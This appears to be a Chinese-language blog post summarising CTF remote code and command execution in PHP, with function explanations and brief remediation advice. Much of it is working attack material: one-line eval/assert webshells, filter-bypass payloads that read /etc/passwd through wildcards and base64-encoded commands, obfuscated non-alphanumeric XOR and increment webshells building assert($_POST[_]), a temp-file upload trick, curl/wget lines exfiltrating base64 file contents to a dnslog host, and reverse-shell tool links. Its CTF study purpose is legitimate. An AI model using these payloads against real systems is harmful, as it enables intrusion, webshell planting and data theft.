Second CertStone

CTF 远程代码/命令执行漏洞(RCE) 总结

2024-08-23 · 18 min read

一、远程代码执行漏洞

1. 代码执行

代码执行是指服务器上的解释器按照程序编写的指令和算法逐步执行代码的过程。

2. 代码执行漏洞

远程代码执行(Remote Code Execution)简称RCE,由于应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控制这个字符串,则会导致代码执行漏洞的发 生。WebShell能够执行代码,本质上就是利用了代码执行的函数。

3. 漏洞危害

1、执行PHP代码
​ 获取服务器内容或相关信息

2、向服务器写WebShell
利用代码PHP代码功能,往服务器中写入shell脚本

3、控制服务器
利用shell脚本,上传大马,甚至控制服务器

4. RCE和Getshell

RCE指的是攻击者通过利用应用程序或系统中的漏洞,成功地在目标系统上执行任意代码的能力。攻击者通常会使用RCE来获取对目标系统的控制,以进行恶意活动,例如数据盗取、删除数据或在系统上安装恶意软件等。

"Getshell"是指攻击者成功地在受攻击系统上获得一个可操作的shell(命令行界面),使得攻击者可以 在系统上执行任意命令。攻击者通常会使用getshell来进一步扩大其攻击范围或占领系统。

RCE是一种攻击技术,而getshell是攻击成功后的结果。攻击者可以通过各种方式实现RCE,而获得 getshell是RCE的一种可能结果之一。

5. 漏洞寻找

这类的漏洞不像SQL注入、文件上传那样容易发现,此类的漏洞一般可以通过以下方式进行发现:

  1. 代码审计
    为最主要的方式,借助代码审计工具,非常方便的审计出此类的漏洞
  2. 已知的CMS漏洞
    已知CMS有很多每年都会爆出来很多此类的漏洞
  3. 页面传参查找
    针对页面有传入参数的地方,可以重点关注传入恶意代码尝试,概率相对较小

6. 代码执行相关函数

PHP: eval、assert

Javascript: eval

Python: exec

Java: Java中没有php中eval函数这种直接可以将字符串转化为代码执行的函数,但是有反射机制,并 且有各种基于反射机制的表达式引擎,如:OGNL、SpEL、MVEL等,这些都能造成代码执行漏洞。

(1) PHP相关函数介绍

A. eval

  • 格式:eval ( string $code )
  • 作用:字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。
<?php
    eval($_POST['a']);
?>
image-20240701133904419

实际上,以上等价于

<?php eval("phpinfo();");?>

B. assert

  • 语法:assert ( mixed $assertion [, string $description ] )
  • 作用:检查一个断言是否为 FALSE。如果 assertion 是字符串,它将会被assert当做 PHP 代码来执 行。不需要以分号结尾。
<?php 
    assert($_POST['a']);
?>

C. call_user_func

  • 语法:call_user_func ( callable $callback [, mixed $parameter [, mixed $… ]] )
  • 作用:把第一个参数作为回调函数调用,第一个参数 callback 是被调用的回调函数,其余参数是回 调函数的参数。(我们调用php系统提供的函数叫直接调用,也叫: 直调,而php系统调用用户自定义 的函数,必须要通过一个代理函数来调用,叫间接调用,也叫回调。在PHP中有两种常见的回调函数: call_user_func()和call_user_func_array(),它们可以代替系统来调用我们自己定义的函数)
<?php
	call_user_func("assert",$_POST['cmd']);
?>

7. 漏洞修复

1.尽量不要使用危险函数
2.对数据进行黑白名单处理
3.对传入的特殊字符转义

二、远程命令执行漏洞

1. 命令执行

命令执行是指计算机程序接受用户输入的命令,并按照命令的要求执行相应的操作。命令可以执行各 种操作,例如读取文件、创建文件、修改文件、运行程序、删除文件等。

命令执行通常是通过一个命令行界面或终端窗口进行的。在命令行界面中,用户可以输入各种命令来 操作计算机系统,而系统会相应地执行这些命令。命令行界面通常用于系统管理员、程序员或高级用户等需要更精细控制计算机系统的人员使用。

2. 命令执行漏洞

远程命令执行漏洞(Remote Command Execution),简称RCE。

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等 设备的web管理界面上,一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提 交后后台会对该IP地址进行一次ping测试,并返回测试结果。

如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交恶意命令,从而导致漏洞的发生。

3. 命令执行与代码执行

命令执行执行的是系统命令。代码执行执行的是程序代码。

4. 漏洞危害

  • 继承Web服务器程序的权限,去执行系统命令
  • 继承Web服务器程序的权限,读写文件
  • 反弹shell
  • 控制整个网站

5. 漏洞寻找

这类的漏洞不像SQL注入、文件上传那样容易发现,此类的漏洞一般可以通过以下方式进行发现:

  • 代码审计
    为最主要的方式,借助代码审计工具,非常方便的审计出此类的漏洞

  • 已知的组件、开发框架漏洞
    已知组件、开发框架有很多每年都会爆出来很多此类的漏洞

  • 页面传参查找
    针对页面有传入参数的地方,可以重点关注传入恶意代码尝试,概率相对较小

6. 命令执行相关函数

  • PHP:system()、exec()、shell_exec()、passthru()、penti_exec()、popen()、proc_pen ()等,此外还有反引号命令执行,这种方式实际上是调用 shell_exec()函数来执行。
  • ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStart Info等
  • Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等
  • Python:system()、popen()、subprocess.call

(1) PHP命令执行相关函数介绍

A. exec

  • 格式:exec(string $command [, array &$output [, int &$return_var ]])

  • 作用:执行一个外部程序,exec() 执行 command 参数所指定的命令。第二个参数是执行命令返回 的结果,第三个参数用来取得命令执行的状态码,通常执行成功都是返回0。

<?php 
    echo exec('whoami');
?>
image-20240630233855612

注:exec执行命令时不会输出全部结果,而是返回结果的最后一行。

<?php
    header('Content-Type: text/html; charset=gb2312'); // Windows系统需设置
	echo exec('ipconfig');
?>
image-20240630234520463
image-20240630234430186

B. system

  • 格式:system( string $command [, int &$return_var ] )
  • 作用:函数执行 command 参数所指定的命令, 并且输出执行结果。

system和exec的区别在于,system在执行系统外部命令时,直接将结果输出到浏览器,如果执行命令 成功则返回true,否则返回false。第二个参数与exec第三个参数含义一样。

<?php 
    header('Content-Type: text/html; charset=gb2312');
    system('ipconfig');
?>
image-20240630234936659

C. shell_exec

  • 格式:shell_exec( string $cmd )
  • 作用:通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
<?php
    header('Content-Type: text/html; charset=gb2312');
	$output = shell_exec('ipconfig'); 
	echo $output;
?>
image-20240630235404929

D. 反引号

shell_exec的别名,效果相同

<?php
	echo `ipconfig`;
?>
  • 除了以上的函数可以造成命令执行之外,php中还有许多其它的函数可以造成命令执行漏洞,比如: passthru()、popen()等

(2) 漏洞修复

为了防止命令执行漏洞,开发人员应该遵循以下几个最佳实践:

  1. 永远不要信任用户输入。所有输入都应该被视为不可信,必须进行适当的验证和过滤
  2. 不要将用户输入直接传递给任何外部命令或程序,而是应该使用专门的API或库,这些API或库可以帮助开发人员更安全地执行系统命令。
  3. 使用白名单过滤所有输入,只允许必需的字符和格式。
  4. 对于使用开发框架的应用程序,及时更新框架和库的版本以获得最新的安全修复。
  5. 进行安全审计和测试,发现和修复任何潜在的漏洞。

(3) 命令执行常见绕过方式

  1. cmd1;cmd2:cmd1执行完再执行cmd2,windows下无法用(;)
  2. cmd1|cmd2:不管cmd1命令成功与否,都会去执行cmd2命令
  3. cmd1||cmd2:首先执行cmd1命令再执行cmd2命令,如果cmd1命令执行成功,就不会执行cmd2命令;相反,如果cmd1命令执行不成功,就会执行cmd2命令。
  4. cmd1&cmd2:&也叫后台任务符,代表首先执行命令cmd1,把cmd1放到后台执行再执行命令cmd2, 如果cmd1执行失败,还是会继续执行命令cmd2。也就是说命令cmd2的执行不会受到命令cmd1的干扰。
  5. cmd1&&cmd2:首先执行命令cmd1再执行命令cmd2,但是前提条件是命令cmd1执行正确才会执行命令cmd2,在cmd1执行失败的情况下不会执行cmd2命令。所以又被称为短路运算符。
image-20240701000336713

三、命令执行遇到过滤的一些绕过方法

1. 常见可替代命令

  • 要查看flag,当cat被过滤时,可以使用如下命令代替

ca""t

ca\t

more:一页一页的显示档案内容

less:与 more 类似

head:查看头几行

tail:查看尾几行

tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示

nl:显示的时候,顺便输出行号

od:od指令会读取所给予的文件的内容,并将其内容以八进制字码呈现出来

sort:将文本文件内容加以 ASCII 码的次序排列

uniq:用于检查及删除文本文件中重复出现的行列

file -f:报错出具体内容

paste:把每个文件以列对列的方式,一列列地加以合并

反引号+base64编码:(内联执行)

`echo Y2F0IC9ldGMvcGFzc3dk |base64 -d`

2. 空格被过滤

> < <> 重定向符
%20 (space)
%09 (tab)
$IFS$9 
${IFS}(最好用这个)
$IFS  
%0a  换行符
{cat,flag.txt} 在大括号中逗号可起分隔作用

3. 通配符

  • 某文件(如/etc/passwd)被过滤:可用glob通配符匹配文件名

    ? 表示任一单个字符, * 表示任意字符串

/e?c/?asswd 
/e*c/*asswd 
/??c/?asswd 
/??c/?assw?
/bin/base64 可以通配为: /???/????64
将文件以base64编码形式输出
/usr/bin/bzip2 可以通配为:/???/???/????2
将文件压缩成后缀为bz2的压缩文件 flag.php ==>  flag.php.bz2
/bin/ca?
相当于cat命令
  • 中括号匹配绕过

例如**[a-c]** 代表匹配 a-b之间的字符,包括a,b字符本身

匹配范围为当前目录

/[a-c][h-j][m-o]/[b-d]a[s-u] flag.txt
相当于
/bin/cat flag.txt
 
因为[]匹配范围只在当前路径
所以要为bin绝对路径

4. 变量拼接

以flag.php为例:
	x=lag;cat f$x.php
相当于:
	cat flag.php
  • “${}”截取环境变量拼接
${PATH:14:1}${PATH:5:1} flag.txt
在此环境中相当于 nl flag.txt
image-20240823113327710

5. 无字母数字RCE

原理参考 一些不包含数字和字母的webshell - phithon

5.1 取反绕过

<!-- 取反php脚本 -->
<?php
$a = "system";
$b = "ls /";
echo urlencode(~$a);
echo "<br>";
echo urlencode(~$b);
echo "<br>";

echo "?code=(~".urlencode(~$a).")(~".urlencode(~$b).");";
?>

5.2 异或绕过

<!-- 异或php脚本 -->
<?php
$a='ls';
for ($i = 0;$i <strlen($a);$i++)
    echo '%'.dechex(ord($a[$i])^0xff);
echo "^";
for ($j=0;$j<strlen($a);$j++)
    echo '%ff';
?>
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

5.3 自增绕过

'a'++ => 'b','b'++ => 'c'... 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

那么,如何拿到一个值为字符串'a'的变量呢?

那么问题就转化为怎么得到一个字符"A"。在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为"Array"。再取这个字符串的第一个字母,就可以获得"A"。

payload1:

<?php
$_=[].'';   //得到"Array"
$___ = $_[$__];   //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___;   //$__="A"
$_ = $___;   //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
$___ .= $__;   //$___="AS"
$___ .= $__;   //$___="ASS"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;   //得到"E",此时$__="E"
$___ .= $__;   //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++;   //得到"R",此时$__="R"
$___ .= $__;   //$___="ASSER"
$__++;$__++;   //得到"T",此时$__="T"
$___ .= $__;   //$___="ASSERT"
$__ = $_;   //$__="A"
$____ = "_";   //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"P",此时$__="P"
$____ .= $__;   //$____="_P"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"O",此时$__="O"
$____ .= $__;   //$____="_PO"
$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
$____ .= $__;   //$____="_POS"
$__++;   //得到"T",此时$__="T"
$____ .= $__;   //$____="_POST"
$_ = $$____;   //$_=$_POST
$___($_[_]);   //ASSERT($POST[_])

payload2:

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

5.4 临时文件绕过

  • source命令,可以用点号( . )代替

该命令可以读取并执行文件中的命令

可构建文件上传表单,上传命令文件执行

表单示例:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://46230-8231.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

get请求为

?c=.+/???/????????[@-[]
Linux临时文件主要存储在/tmp/目录下,格式通常是(/tmp/php[6个随机字符])

Windows临时文件主要存储在C:/Windows/目录下,格式通常是(C:/Windows/php[4个随机字符].tmp)

注意:通过.去执行sh命令不需要有执行权限

可以参考p神的这篇文章无字母数字webshell之提高篇 | 离别歌

6.无回显RCE

无回显的执行函数:
exec()
shell_exec()
`` (反引号)

这些需要php函数echo才可以输出结果

6.1 复制到可访问文件

例如:

ls / | tee 1.txt
 
然后输入 url/1.txt  即可查看根目录
其他命令:
cat /flag | tee flag.txt
cp /flag flag.txt
mv /flag flag.txt

6.2 dnslog外带数据

curl dnslog平台url/`cat flag.php|base64`
wget dnslog平台url/`cat flag.php|base64`

6.3 反弹shell

详见 CTF反弹shell总结

工具:

[github repo="0dayCTF/reverse-shell-generator" /]

在线版:https://www.ddosi.org/shell/

[github repo="ProbiusOfficial/TCL" /]

腾讯云抢占式实例监听器

[github repo="ProbiusOfficial/frp-R3shell" /]

FRP-R3shell